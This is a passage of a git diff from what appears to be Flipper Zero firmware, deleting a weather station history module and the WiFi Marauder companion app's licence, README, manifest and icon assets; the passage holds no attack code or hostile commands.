- subghz_protocol_decoder_base_serialize(decoder_base, item->flipper_string, preset); - return WSHistoryStateAddKeyUpdateData; - } - } - - // or add new record - if(!sensor_found) { //-V547 - WSHistoryItem* item = WSHistoryItemArray_push_raw(instance->history->data); - item->preset = malloc(sizeof(SubGhzRadioPreset)); - item->type = decoder_base->protocol->type; - item->preset->frequency = preset->frequency; - item->preset->name = furi_string_alloc(); - furi_string_set(item->preset->name, preset->name); - item->preset->data = preset->data; - item->preset->data_size = preset->data_size; - item->id = id; - - item->item_str = furi_string_alloc(); - item->flipper_string = flipper_format_string_alloc(); - subghz_protocol_decoder_base_serialize(decoder_base, item->flipper_string, preset); - - do { - if(!flipper_format_rewind(item->flipper_string)) { - FURI_LOG_E(TAG, "Rewind error"); - break; - } - if(!flipper_format_read_string( - item->flipper_string, "Protocol", instance->tmp_string)) { - FURI_LOG_E(TAG, "Missing Protocol"); - break; - } - - if(!flipper_format_rewind(item->flipper_string)) { - FURI_LOG_E(TAG, "Rewind error"); - break; - } - uint8_t key_data[sizeof(uint64_t)] = {0}; - if(!flipper_format_read_hex(item->flipper_string, "Data", key_data, sizeof(uint64_t))) { - FURI_LOG_E(TAG, "Missing Data"); - break; - } - uint64_t data = 0; - for(uint8_t i = 0; i < sizeof(uint64_t); i++) { - data = (data << 8) | key_data[i]; - } - uint32_t temp_data = 0; - if(!flipper_format_read_uint32(item->flipper_string, "Ch", (uint32_t*)&temp_data, 1)) { - FURI_LOG_E(TAG, "Missing Channel"); - break; - } - if(temp_data != WS_NO_CHANNEL) { - furi_string_cat_printf(instance->tmp_string, " Ch:%X", (uint8_t)temp_data); - } - - furi_string_printf( - item->item_str, "%s %llX", furi_string_get_cstr(instance->tmp_string), data); - - } while(false); - instance->last_index_write++; - return WSHistoryStateAddKeyNewDada; - } - return WSHistoryStateAddKeyUnknown; -} diff --git a/applications/external/weather_station/weather_station_history.h b/applications/external/weather_station/weather_station_history.h deleted file mode 100644 index 11601fe79..000000000 --- a/applications/external/weather_station/weather_station_history.h +++ /dev/null @@ -1,112 +0,0 @@ - -#pragma once - -#include -#include -#include -#include -#include - -typedef struct WSHistory WSHistory; - -/** History state add key */ -typedef enum { - WSHistoryStateAddKeyUnknown, - WSHistoryStateAddKeyTimeOut, - WSHistoryStateAddKeyNewDada, - WSHistoryStateAddKeyUpdateData, - WSHistoryStateAddKeyOverflow, -} WSHistoryStateAddKey; - -/** Allocate WSHistory - * - * @return WSHistory* - */ -WSHistory* ws_history_alloc(void); - -/** Free WSHistory - * - * @param instance - WSHistory instance - */ -void ws_history_free(WSHistory* instance); - -/** Clear history - * - * @param instance - WSHistory instance - */ -void ws_history_reset(WSHistory* instance); - -/** Get frequency to history[idx] - * - * @param instance - WSHistory instance - * @param idx - record index - * @return frequency - frequency Hz - */ -uint32_t ws_history_get_frequency(WSHistory* instance, uint16_t idx); - -SubGhzRadioPreset* ws_history_get_radio_preset(WSHistory* instance, uint16_t idx); - -/** Get preset to history[idx] - * - * @param instance - WSHistory instance - * @param idx - record index - * @return preset - preset name - */ -const char* ws_history_get_preset(WSHistory* instance, uint16_t idx); - -/** Get history index write - * - * @param instance - WSHistory instance - * @return idx - current record index - */ -uint16_t ws_history_get_item(WSHistory* instance); - -/** Get type protocol to history[idx] - * - * @param instance - WSHistory instance - * @param idx - record index - * @return type - type protocol - */ -uint8_t ws_history_get_type_protocol(WSHistory* instance, uint16_t idx); - -/** Get name protocol to history[idx] - * - * @param instance - WSHistory instance - * @param idx - record index - * @return name - const char* name protocol - */ -const char* ws_history_get_protocol_name(WSHistory* instance, uint16_t idx); - -/** Get string item menu to history[idx] - * - * @param instance - WSHistory instance - * @param output - FuriString* output - * @param idx - record index - */ -void ws_history_get_text_item_menu(WSHistory* instance, FuriString* output, uint16_t idx); - -/** Get string the remaining number of records to history - * - * @param instance - WSHistory instance - * @param output - FuriString* output - * @return bool - is FUUL - */ -bool ws_history_get_text_space_left(WSHistory* instance, FuriString* output); - -/** Add protocol to history - * - * @param instance - WSHistory instance - * @param context - SubGhzProtocolCommon context - * @param preset - SubGhzRadioPreset preset - * @return WSHistoryStateAddKey; - */ -WSHistoryStateAddKey - ws_history_add_to_history(WSHistory* instance, void* context, SubGhzRadioPreset* preset); - -/** Get SubGhzProtocolCommonLoad to load into the protocol decoder bin data - * - * @param instance - WSHistory instance - * @param idx - record index - * @return SubGhzProtocolCommonLoad* - */ -FlipperFormat* ws_history_get_raw_data(WSHistory* instance, uint16_t idx); diff --git a/applications/external/wifi_marauder_companion/LICENSE b/applications/external/wifi_marauder_companion/LICENSE deleted file mode 100644 index f288702d2..000000000 --- a/applications/external/wifi_marauder_companion/LICENSE +++ /dev/null @@ -1,674 +0,0 @@ - GNU GENERAL PUBLIC LICENSE - Version 3, 29 June 2007 - - Copyright (C) 2007 Free Software Foundation, Inc. - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - - Preamble - - The GNU General Public License is a free, copyleft license for -software and other kinds of works. - - The licenses for most software and other practical works are designed -to take away your freedom to share and change the works. By contrast, -the GNU General Public License is intended to guarantee your freedom to -share and change all versions of a program--to make sure it remains free -software for all its users. We, the Free Software Foundation, use the -GNU General Public License for most of our software; it applies also to -any other work released this way by its authors. You can apply it to -your programs, too. - - When we speak of free software, we are referring to freedom, not -price. Our General Public Licenses are designed to make sure that you -have the freedom to distribute copies of free software (and charge for -them if you wish), that you receive source code or can get it if you -want it, that you can change the software or use pieces of it in new -free programs, and that you know you can do these things. - - To protect your rights, we need to prevent others from denying you -these rights or asking you to surrender the rights. Therefore, you have -certain responsibilities if you distribute copies of the software, or if -you modify it: responsibilities to respect the freedom of others. - - For example, if you distribute copies of such a program, whether -gratis or for a fee, you must pass on to the recipients the same -freedoms that you received. You must make sure that they, too, receive -or can get the source code. And you must show them these terms so they -know their rights. - - Developers that use the GNU GPL protect your rights with two steps: -(1) assert copyright on the software, and (2) offer you this License -giving you legal permission to copy, distribute and/or modify it. - - For the developers' and authors' protection, the GPL clearly explains -that there is no warranty for this free software. For both users' and -authors' sake, the GPL requires that modified versions be marked as -changed, so that their problems will not be attributed erroneously to -authors of previous versions. - - Some devices are designed to deny users access to install or run -modified versions of the software inside them, although the manufacturer -can do so. This is fundamentally incompatible with the aim of -protecting users' freedom to change the software. The systematic -pattern of such abuse occurs in the area of products for individuals to -use, which is precisely where it is most unacceptable. Therefore, we -have designed this version of the GPL to prohibit the practice for those -products. If such problems arise substantially in other domains, we -stand ready to extend this provision to those domains in future versions -of the GPL, as needed to protect the freedom of users. - - Finally, every program is threatened constantly by software patents. -States should not allow patents to restrict development and use of -software on general-purpose computers, but in those that do, we wish to -avoid the special danger that patents applied to a free program could -make it effectively proprietary. To prevent this, the GPL assures that -patents cannot be used to render the program non-free. - - The precise terms and conditions for copying, distribution and -modification follow. - - TERMS AND CONDITIONS - - 0. Definitions. - - "This License" refers to version 3 of the GNU General Public License. - - "Copyright" also means copyright-like laws that apply to other kinds of -works, such as semiconductor masks. - - "The Program" refers to any copyrightable work licensed under this -License. Each licensee is addressed as "you". "Licensees" and -"recipients" may be individuals or organizations. - - To "modify" a work means to copy from or adapt all or part of the work -in a fashion requiring copyright permission, other than the making of an -exact copy. The resulting work is called a "modified version" of the -earlier work or a work "based on" the earlier work. - - A "covered work" means either the unmodified Program or a work based -on the Program. - - To "propagate" a work means to do anything with it that, without -permission, would make you directly or secondarily liable for -infringement under applicable copyright law, except executing it on a -computer or modifying a private copy. Propagation includes copying, -distribution (with or without modification), making available to the -public, and in some countries other activities as well. - - To "convey" a work means any kind of propagation that enables other -parties to make or receive copies. Mere interaction with a user through -a computer network, with no transfer of a copy, is not conveying. - - An interactive user interface displays "Appropriate Legal Notices" -to the extent that it includes a convenient and prominently visible -feature that (1) displays an appropriate copyright notice, and (2) -tells the user that there is no warranty for the work (except to the -extent that warranties are provided), that licensees may convey the -work under this License, and how to view a copy of this License. If -the interface presents a list of user commands or options, such as a -menu, a prominent item in the list meets this criterion. - - 1. Source Code. - - The "source code" for a work means the preferred form of the work -for making modifications to it. "Object code" means any non-source -form of a work. - - A "Standard Interface" means an interface that either is an official -standard defined by a recognized standards body, or, in the case of -interfaces specified for a particular programming language, one that -is widely used among developers working in that language. - - The "System Libraries" of an executable work include anything, other -than the work as a whole, that (a) is included in the normal form of -packaging a Major Component, but which is not part of that Major -Component, and (b) serves only to enable use of the work with that -Major Component, or to implement a Standard Interface for which an -implementation is available to the public in source code form. A -"Major Component", in this context, means a major essential component -(kernel, window system, and so on) of the specific operating system -(if any) on which the executable work runs, or a compiler used to -produce the work, or an object code interpreter used to run it. - - The "Corresponding Source" for a work in object code form means all -the source code needed to generate, install, and (for an executable -work) run the object code and to modify the work, including scripts to -control those activities. However, it does not include the work's -System Libraries, or general-purpose tools or generally available free -programs which are used unmodified in performing those activities but -which are not part of the work. For example, Corresponding Source -includes interface definition files associated with source files for -the work, and the source code for shared libraries and dynamically -linked subprograms that the work is specifically designed to require, -such as by intimate data communication or control flow between those -subprograms and other parts of the work. - - The Corresponding Source need not include anything that users -can regenerate automatically from other parts of the Corresponding -Source. - - The Corresponding Source for a work in source code form is that -same work. - - 2. Basic Permissions. - - All rights granted under this License are granted for the term of -copyright on the Program, and are irrevocable provided the stated -conditions are met. This License explicitly affirms your unlimited -permission to run the unmodified Program. The output from running a -covered work is covered by this License only if the output, given its -content, constitutes a covered work. This License acknowledges your -rights of fair use or other equivalent, as provided by copyright law. - - You may make, run and propagate covered works that you do not -convey, without conditions so long as your license otherwise remains -in force. You may convey covered works to others for the sole purpose -of having them make modifications exclusively for you, or provide you -with facilities for running those works, provided that you comply with -the terms of this License in conveying all material for which you do -not control copyright. Those thus making or running the covered works -for you must do so exclusively on your behalf, under your direction -and control, on terms that prohibit them from making any copies of -your copyrighted material outside their relationship with you. - - Conveying under any other circumstances is permitted solely under -the conditions stated below. Sublicensing is not allowed; section 10 -makes it unnecessary. - - 3. Protecting Users' Legal Rights From Anti-Circumvention Law. - - No covered work shall be deemed part of an effective technological -measure under any applicable law fulfilling obligations under article -11 of the WIPO copyright treaty adopted on 20 December 1996, or -similar laws prohibiting or restricting circumvention of such -measures. - - When you convey a covered work, you waive any legal power to forbid -circumvention of technological measures to the extent such circumvention -is effected by exercising rights under this License with respect to -the covered work, and you disclaim any intention to limit operation or -modification of the work as a means of enforcing, against the work's -users, your or third parties' legal rights to forbid circumvention of -technological measures. - - 4. Conveying Verbatim Copies. - - You may convey verbatim copies of the Program's source code as you -receive it, in any medium, provided that you conspicuously and -appropriately publish on each copy an appropriate copyright notice; -keep intact all notices stating that this License and any -non-permissive terms added in accord with section 7 apply to the code; -keep intact all notices of the absence of any warranty; and give all -recipients a copy of this License along with the Program. - - You may charge any price or no price for each copy that you convey, -and you may offer support or warranty protection for a fee. - - 5. Conveying Modified Source Versions. - - You may convey a work based on the Program, or the modifications to -produce it from the Program, in the form of source code under the -terms of section 4, provided that you also meet all of these conditions: - - a) The work must carry prominent notices stating that you modified - it, and giving a relevant date. - - b) The work must carry prominent notices stating that it is - released under this License and any conditions added under section - 7. This requirement modifies the requirement in section 4 to - "keep intact all notices". - - c) You must license the entire work, as a whole, under this - License to anyone who comes into possession of a copy. This - License will therefore apply, along with any applicable section 7 - additional terms, to the whole of the work, and all its parts, - regardless of how they are packaged. This License gives no - permission to license the work in any other way, but it does not - invalidate such permission if you have separately received it. - - d) If the work has interactive user interfaces, each must display - Appropriate Legal Notices; however, if the Program has interactive - interfaces that do not display Appropriate Legal Notices, your - work need not make them do so. - - A compilation of a covered work with other separate and independent -works, which are not by their nature extensions of the covered work, -and which are not combined with it such as to form a larger program, -in or on a volume of a storage or distribution medium, is called an -"aggregate" if the compilation and its resulting copyright are not -used to limit the access or legal rights of the compilation's users -beyond what the individual works permit. Inclusion of a covered work -in an aggregate does not cause this License to apply to the other -parts of the aggregate. - - 6. Conveying Non-Source Forms. - - You may convey a covered work in object code form under the terms -of sections 4 and 5, provided that you also convey the -machine-readable Corresponding Source under the terms of this License, -in one of these ways: - - a) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by the - Corresponding Source fixed on a durable physical medium - customarily used for software interchange. - - b) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by a - written offer, valid for at least three years and valid for as - long as you offer spare parts or customer support for that product - model, to give anyone who possesses the object code either (1) a - copy of the Corresponding Source for all the software in the - product that is covered by this License, on a durable physical - medium customarily used for software interchange, for a price no - more than your reasonable cost of physically performing this - conveying of source, or (2) access to copy the - Corresponding Source from a network server at no charge. - - c) Convey individual copies of the object code with a copy of the - written offer to provide the Corresponding Source. This - alternative is allowed only occasionally and noncommercially, and - only if you received the object code with such an offer, in accord - with subsection 6b. - - d) Convey the object code by offering access from a designated - place (gratis or for a charge), and offer equivalent access to the - Corresponding Source in the same way through the same place at no - further charge. You need not require recipients to copy the - Corresponding Source along with the object code. If the place to - copy the object code is a network server, the Corresponding Source - may be on a different server (operated by you or a third party) - that supports equivalent copying facilities, provided you maintain - clear directions next to the object code saying where to find the - Corresponding Source. Regardless of what server hosts the - Corresponding Source, you remain obligated to ensure that it is - available for as long as needed to satisfy these requirements. - - e) Convey the object code using peer-to-peer transmission, provided - you inform other peers where the object code and Corresponding - Source of the work are being offered to the general public at no - charge under subsection 6d. - - A separable portion of the object code, whose source code is excluded -from the Corresponding Source as a System Library, need not be -included in conveying the object code work. - - A "User Product" is either (1) a "consumer product", which means any -tangible personal property which is normally used for personal, family, -or household purposes, or (2) anything designed or sold for incorporation -into a dwelling. In determining whether a product is a consumer product, -doubtful cases shall be resolved in favor of coverage. For a particular -product received by a particular user, "normally used" refers to a -typical or common use of that class of product, regardless of the status -of the particular user or of the way in which the particular user -actually uses, or expects or is expected to use, the product. A product -is a consumer product regardless of whether the product has substantial -commercial, industrial or non-consumer uses, unless such uses represent -the only significant mode of use of the product. - - "Installation Information" for a User Product means any methods, -procedures, authorization keys, or other information required to install -and execute modified versions of a covered work in that User Product from -a modified version of its Corresponding Source. The information must -suffice to ensure that the continued functioning of the modified object -code is in no case prevented or interfered with solely because -modification has been made. - - If you convey an object code work under this section in, or with, or -specifically for use in, a User Product, and the conveying occurs as -part of a transaction in which the right of possession and use of the -User Product is transferred to the recipient in perpetuity or for a -fixed term (regardless of how the transaction is characterized), the -Corresponding Source conveyed under this section must be accompanied -by the Installation Information. But this requirement does not apply -if neither you nor any third party retains the ability to install -modified object code on the User Product (for example, the work has -been installed in ROM). - - The requirement to provide Installation Information does not include a -requirement to continue to provide support service, warranty, or updates -for a work that has been modified or installed by the recipient, or for -the User Product in which it has been modified or installed. Access to a -network may be denied when the modification itself materially and -adversely affects the operation of the network or violates the rules and -protocols for communication across the network. - - Corresponding Source conveyed, and Installation Information provided, -in accord with this section must be in a format that is publicly -documented (and with an implementation available to the public in -source code form), and must require no special password or key for -unpacking, reading or copying. - - 7. Additional Terms. - - "Additional permissions" are terms that supplement the terms of this -License by making exceptions from one or more of its conditions. -Additional permissions that are applicable to the entire Program shall -be treated as though they were included in this License, to the extent -that they are valid under applicable law. If additional permissions -apply only to part of the Program, that part may be used separately -under those permissions, but the entire Program remains governed by -this License without regard to the additional permissions. - - When you convey a copy of a covered work, you may at your option -remove any additional permissions from that copy, or from any part of -it. (Additional permissions may be written to require their own -removal in certain cases when you modify the work.) You may place -additional permissions on material, added by you to a covered work, -for which you have or can give appropriate copyright permission. - - Notwithstanding any other provision of this License, for material you -add to a covered work, you may (if authorized by the copyright holders of -that material) supplement the terms of this License with terms: - - a) Disclaiming warranty or limiting liability differently from the - terms of sections 15 and 16 of this License; or - - b) Requiring preservation of specified reasonable legal notices or - author attributions in that material or in the Appropriate Legal - Notices displayed by works containing it; or - - c) Prohibiting misrepresentation of the origin of that material, or - requiring that modified versions of such material be marked in - reasonable ways as different from the original version; or - - d) Limiting the use for publicity purposes of names of licensors or - authors of the material; or - - e) Declining to grant rights under trademark law for use of some - trade names, trademarks, or service marks; or - - f) Requiring indemnification of licensors and authors of that - material by anyone who conveys the material (or modified versions of - it) with contractual assumptions of liability to the recipient, for - any liability that these contractual assumptions directly impose on - those licensors and authors. - - All other non-permissive additional terms are considered "further -restrictions" within the meaning of section 10. If the Program as you -received it, or any part of it, contains a notice stating that it is -governed by this License along with a term that is a further -restriction, you may remove that term. If a license document contains -a further restriction but permits relicensing or conveying under this -License, you may add to a covered work material governed by the terms -of that license document, provided that the further restriction does -not survive such relicensing or conveying. - - If you add terms to a covered work in accord with this section, you -must place, in the relevant source files, a statement of the -additional terms that apply to those files, or a notice indicating -where to find the applicable terms. - - Additional terms, permissive or non-permissive, may be stated in the -form of a separately written license, or stated as exceptions; -the above requirements apply either way. - - 8. Termination. - - You may not propagate or modify a covered work except as expressly -provided under this License. Any attempt otherwise to propagate or -modify it is void, and will automatically terminate your rights under -this License (including any patent licenses granted under the third -paragraph of section 11). - - However, if you cease all violation of this License, then your -license from a particular copyright holder is reinstated (a) -provisionally, unless and until the copyright holder explicitly and -finally terminates your license, and (b) permanently, if the copyright -holder fails to notify you of the violation by some reasonable means -prior to 60 days after the cessation. - - Moreover, your license from a particular copyright holder is -reinstated permanently if the copyright holder notifies you of the -violation by some reasonable means, this is the first time you have -received notice of violation of this License (for any work) from that -copyright holder, and you cure the violation prior to 30 days after -your receipt of the notice. - - Termination of your rights under this section does not terminate the -licenses of parties who have received copies or rights from you under -this License. If your rights have been terminated and not permanently -reinstated, you do not qualify to receive new licenses for the same -material under section 10. - - 9. Acceptance Not Required for Having Copies. - - You are not required to accept this License in order to receive or -run a copy of the Program. Ancillary propagation of a covered work -occurring solely as a consequence of using peer-to-peer transmission -to receive a copy likewise does not require acceptance. However, -nothing other than this License grants you permission to propagate or -modify any covered work. These actions infringe copyright if you do -not accept this License. Therefore, by modifying or propagating a -covered work, you indicate your acceptance of this License to do so. - - 10. Automatic Licensing of Downstream Recipients. - - Each time you convey a covered work, the recipient automatically -receives a license from the original licensors, to run, modify and -propagate that work, subject to this License. You are not responsible -for enforcing compliance by third parties with this License. - - An "entity transaction" is a transaction transferring control of an -organization, or substantially all assets of one, or subdividing an -organization, or merging organizations. If propagation of a covered -work results from an entity transaction, each party to that -transaction who receives a copy of the work also receives whatever -licenses to the work the party's predecessor in interest had or could -give under the previous paragraph, plus a right to possession of the -Corresponding Source of the work from the predecessor in interest, if -the predecessor has it or can get it with reasonable efforts. - - You may not impose any further restrictions on the exercise of the -rights granted or affirmed under this License. For example, you may -not impose a license fee, royalty, or other charge for exercise of -rights granted under this License, and you may not initiate litigation -(including a cross-claim or counterclaim in a lawsuit) alleging that -any patent claim is infringed by making, using, selling, offering for -sale, or importing the Program or any portion of it. - - 11. Patents. - - A "contributor" is a copyright holder who authorizes use under this -License of the Program or a work on which the Program is based. The -work thus licensed is called the contributor's "contributor version". - - A contributor's "essential patent claims" are all patent claims -owned or controlled by the contributor, whether already acquired or -hereafter acquired, that would be infringed by some manner, permitted -by this License, of making, using, or selling its contributor version, -but do not include claims that would be infringed only as a -consequence of further modification of the contributor version. For -purposes of this definition, "control" includes the right to grant -patent sublicenses in a manner consistent with the requirements of -this License. - - Each contributor grants you a non-exclusive, worldwide, royalty-free -patent license under the contributor's essential patent claims, to -make, use, sell, offer for sale, import and otherwise run, modify and -propagate the contents of its contributor version. - - In the following three paragraphs, a "patent license" is any express -agreement or commitment, however denominated, not to enforce a patent -(such as an express permission to practice a patent or covenant not to -sue for patent infringement). To "grant" such a patent license to a -party means to make such an agreement or commitment not to enforce a -patent against the party. - - If you convey a covered work, knowingly relying on a patent license, -and the Corresponding Source of the work is not available for anyone -to copy, free of charge and under the terms of this License, through a -publicly available network server or other readily accessible means, -then you must either (1) cause the Corresponding Source to be so -available, or (2) arrange to deprive yourself of the benefit of the -patent license for this particular work, or (3) arrange, in a manner -consistent with the requirements of this License, to extend the patent -license to downstream recipients. "Knowingly relying" means you have -actual knowledge that, but for the patent license, your conveying the -covered work in a country, or your recipient's use of the covered work -in a country, would infringe one or more identifiable patents in that -country that you have reason to believe are valid. - - If, pursuant to or in connection with a single transaction or -arrangement, you convey, or propagate by procuring conveyance of, a -covered work, and grant a patent license to some of the parties -receiving the covered work authorizing them to use, propagate, modify -or convey a specific copy of the covered work, then the patent license -you grant is automatically extended to all recipients of the covered -work and works based on it. - - A patent license is "discriminatory" if it does not include within -the scope of its coverage, prohibits the exercise of, or is -conditioned on the non-exercise of one or more of the rights that are -specifically granted under this License. You may not convey a covered -work if you are a party to an arrangement with a third party that is -in the business of distributing software, under which you make payment -to the third party based on the extent of your activity of conveying -the work, and under which the third party grants, to any of the -parties who would receive the covered work from you, a discriminatory -patent license (a) in connection with copies of the covered work -conveyed by you (or copies made from those copies), or (b) primarily -for and in connection with specific products or compilations that -contain the covered work, unless you entered into that arrangement, -or that patent license was granted, prior to 28 March 2007. - - Nothing in this License shall be construed as excluding or limiting -any implied license or other defenses to infringement that may -otherwise be available to you under applicable patent law. - - 12. No Surrender of Others' Freedom. - - If conditions are imposed on you (whether by court order, agreement or -otherwise) that contradict the conditions of this License, they do not -excuse you from the conditions of this License. If you cannot convey a -covered work so as to satisfy simultaneously your obligations under this -License and any other pertinent obligations, then as a consequence you may -not convey it at all. For example, if you agree to terms that obligate you -to collect a royalty for further conveying from those to whom you convey -the Program, the only way you could satisfy both those terms and this -License would be to refrain entirely from conveying the Program. - - 13. Use with the GNU Affero General Public License. - - Notwithstanding any other provision of this License, you have -permission to link or combine any covered work with a work licensed -under version 3 of the GNU Affero General Public License into a single -combined work, and to convey the resulting work. The terms of this -License will continue to apply to the part which is the covered work, -but the special requirements of the GNU Affero General Public License, -section 13, concerning interaction through a network will apply to the -combination as such. - - 14. Revised Versions of this License. - - The Free Software Foundation may publish revised and/or new versions of -the GNU General Public License from time to time. Such new versions will -be similar in spirit to the present version, but may differ in detail to -address new problems or concerns. - - Each version is given a distinguishing version number. If the -Program specifies that a certain numbered version of the GNU General -Public License "or any later version" applies to it, you have the -option of following the terms and conditions either of that numbered -version or of any later version published by the Free Software -Foundation. If the Program does not specify a version number of the -GNU General Public License, you may choose any version ever published -by the Free Software Foundation. - - If the Program specifies that a proxy can decide which future -versions of the GNU General Public License can be used, that proxy's -public statement of acceptance of a version permanently authorizes you -to choose that version for the Program. - - Later license versions may give you additional or different -permissions. However, no additional obligations are imposed on any -author or copyright holder as a result of your choosing to follow a -later version. - - 15. Disclaimer of Warranty. - - THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY -APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT -HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY -OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, -THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR -PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM -IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF -ALL NECESSARY SERVICING, REPAIR OR CORRECTION. - - 16. Limitation of Liability. - - IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING -WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS -THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY -GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE -USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF -DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD -PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), -EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF -SUCH DAMAGES. - - 17. Interpretation of Sections 15 and 16. - - If the disclaimer of warranty and limitation of liability provided -above cannot be given local legal effect according to their terms, -reviewing courts shall apply local law that most closely approximates -an absolute waiver of all civil liability in connection with the -Program, unless a warranty or assumption of liability accompanies a -copy of the Program in return for a fee. - - END OF TERMS AND CONDITIONS - - How to Apply These Terms to Your New Programs - - If you develop a new program, and you want it to be of the greatest -possible use to the public, the best way to achieve this is to make it -free software which everyone can redistribute and change under these terms. - - To do so, attach the following notices to the program. It is safest -to attach them to the start of each source file to most effectively -state the exclusion of warranty; and each file should have at least -the "copyright" line and a pointer to where the full notice is found. - - - Copyright (C) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . - -Also add information on how to contact you by electronic and paper mail. - - If the program does terminal interaction, make it output a short -notice like this when it starts in an interactive mode: - - Copyright (C) - This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. - This is free software, and you are welcome to redistribute it - under certain conditions; type `show c' for details. - -The hypothetical commands `show w' and `show c' should show the appropriate -parts of the General Public License. Of course, your program's commands -might be different; for a GUI interface, you would use an "about box". - - You should also get your employer (if you work as a programmer) or school, -if any, to sign a "copyright disclaimer" for the program, if necessary. -For more information on this, and how to apply and follow the GNU GPL, see -. - - The GNU General Public License does not permit incorporating your program -into proprietary programs. If your program is a subroutine library, you -may consider it more useful to permit linking proprietary applications with -the library. If this is what you want to do, use the GNU Lesser General -Public License instead of this License. But first, please read -. diff --git a/applications/external/wifi_marauder_companion/ReadMe.md b/applications/external/wifi_marauder_companion/ReadMe.md deleted file mode 100644 index 00de70424..000000000 --- a/applications/external/wifi_marauder_companion/ReadMe.md +++ /dev/null @@ -1,35 +0,0 @@ -[![FAP Build](https://github.com/0xchocolate/flipperzero-wifi-marauder/actions/workflows/build.yml/badge.svg)](https://github.com/0xchocolate/flipperzero-wifi-marauder/actions/workflows/build.yml) - -# WiFi Marauder companion app for Flipper Zero - -Requires a connected dev board running Marauder FW. [See install instructions from UberGuidoZ here.](https://github.com/UberGuidoZ/Flipper/tree/main/Wifi_DevBoard#marauder-install-information) - - - -## Get the app -1. Make sure you're logged in with a github account (otherwise the downloads in step 2 won't work) -2. Navigate to the [FAP Build](https://github.com/0xchocolate/flipperzero-wifi-marauder/actions/workflows/build.yml) - GitHub action workflow, and select the most recent run, scroll down to artifacts. -3. The FAP is built for the `dev` and `release` channels of both official and unleashed - firmware. Download the artifact corresponding to your firmware version. -4. (Optional step to avoid confusion) Go to "Apps/GPIO" on the Flipper SD Card, delete any existing Marauder app, on some firmwares there will be a `ESP32CAM_Marauder.fap` or similar. -5. Extract `esp32_wifi_marauder.fap` from the ZIP file downloaded in step 3 to your Flipper Zero SD card, preferably under Apps/GPIO along with the rest of the GPIO apps. (If you're using qFlipper to transfer files you need to extract the content of the ZIP file to your computer before you drag it to qFlipper, as qFlipper does not support direct dragging from a ZIP file (at least on Windows)). - -From a local clone of this repo, you can also build the app yourself using ufbt. - -### FYI - the ESP flasher is now its own app: https://github.com/0xchocolate/flipperzero-esp-flasher - - -## Support - -For app feedback, bugs, and feature requests, please [create an issue here](https://github.com/0xchocolate/flipperzero-firmware-with-wifi-marauder-companion/issues). - -You can find me (0xchocolate) on discord as @cococode#6011. - -If you'd like to donate to the app development effort: -**ETH**: `0xf32A1F0CD6122C97d8953183E53cB889cc087C9b` -**BTC**: `bc1qtw7s25cwdkuaups22yna8sttfxn0usm2f35wc3` - -Find more info about Marauder and support its developer (justcallmekoko aka WillStunForFood) here: https://github.com/justcallmekoko/ESP32Marauder - -If you found the app preinstalled in a firmware release, consider supporting the maintainers! diff --git a/applications/external/wifi_marauder_companion/application.fam b/applications/external/wifi_marauder_companion/application.fam deleted file mode 100644 index ee4578efc..000000000 --- a/applications/external/wifi_marauder_companion/application.fam +++ /dev/null @@ -1,13 +0,0 @@ -App( - appid="esp32_wifi_marauder", - name="[ESP32] WiFi Marauder", - fap_version=(6,0), - apptype=FlipperAppType.EXTERNAL, - entry_point="wifi_marauder_app", - requires=["gui"], - stack_size=4 * 1024, - order=90, - fap_icon="wifi_10px.png", - fap_category="GPIO", - fap_icon_assets="assets", -) diff --git a/applications/external/wifi_marauder_companion/assets/DolphinCommon_56x48.png b/applications/external/wifi_marauder_companion/assets/DolphinCommon_56x48.png deleted file mode 100644 index 089aaed83..000000000 Binary files a/applications/external/wifi_marauder_companion/assets/DolphinCommon_56x48.png and /dev/null differ diff --git a/applications/external/wifi_marauder_companion/assets/KeyBackspaceSelected_16x9.png b/applications/external/wifi_marauder_companion/assets/KeyBackspaceSelected_16x9.png deleted file mode 100644 index 7cc0759a8..000000000 Binary files a/applications/external/wifi_marauder_companion/assets/KeyBackspaceSelected_16x9.png and /dev/null differ diff --git a/applications/external/wifi_marauder_companion/assets/KeyBackspace_16x9.png b/applications/external/wifi_marauder_companion/assets/KeyBackspace_16x9.png deleted file mode 100644 index 9946232d9..000000000 Binary files a/applications/external/wifi_marauder_companion/assets/KeyBackspace_16x9.png and /dev/null differ diff --git a/applications/external/wifi_marauder_companion/assets/KeyKeyboardSelected_10x11.png b/applications/external/wifi_marauder_companion/assets/KeyKeyboardSelected_10x11.png deleted file mode 100644 index 231880386..000000000 Binary files a/applications/external/wifi_marauder_companion/assets/KeyKeyboardSelected_10x11.png and /dev/null differ diff --git a/applications/external/wifi_marauder_companion/assets/KeyKeyboard_10x11.png 